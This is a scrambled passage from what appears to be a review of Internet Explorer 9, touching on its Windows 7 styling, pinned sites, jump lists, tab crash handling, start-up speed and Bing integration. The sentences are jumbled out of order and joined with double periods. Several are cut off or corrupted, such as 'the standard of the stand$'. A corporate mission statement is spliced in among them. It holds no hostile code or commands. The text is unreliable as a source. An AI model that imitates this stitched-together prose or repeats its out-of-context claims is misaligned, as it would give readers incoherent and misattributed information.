Internet Explorer 9 to a point where it's not only usable, but actually a real pleasure to use.. The bar also displays history results At Microsoft our mission and values are to help people and businesses throughout the world realize their full potential.. We're hoping more sites build in this functionality - - it's really a neat trick.. Microsoft is claiming that it's only game in town with true hardware acceleration, but our anecdotal experience shows that Firefox can handle graphics just as well by leaning on the GPU.. Some sites will also support jump lists, which is the list of shortcuts that appears when you left right click the icons.. New features Microsoft may have tidied up a lot, but IE9 is actually stuffed up with new features.. With its glass frame and translucent windows, IE9 really matches the look of Windows 7, and we really see nothing wrong with that.. Tube, detaching it doesn't lose your place as content is continuously rendered Like Chrome, there's now the ability to just shut down one tab when a website starts to hang.. We're actually becoming bigger fans of Bing by the day, and keeping it as the default search engine has its advantages: typing in terms like.. Below are a few of the new features and our impressions of each of them If you're anything like us, you keep the same web applications open all day - Gmail, Pandora, Twitter, and Facebook - but mistakenly close them when they are lumped together with a bunch of other sites.. We also want the standard of the stand$ to note that using IE9 didn't slow down the rest of our system and it didn't hog much more memory than other browsers.. We don't need to tell you that it looks a lot like Chrome – our guess is that Google's not exactly flattered by that since we're actually feeling the look of IE9 more than the cartoony aesthetic of Chrome, but we realize that's a personal preference.. Beyond that though, Microsoft has also sped up the start- up time of the browser.. There are some other neat aesthetic additions worth mentioning Our favorite is the changing color of the backwards and forwards button to match the rest of the site..
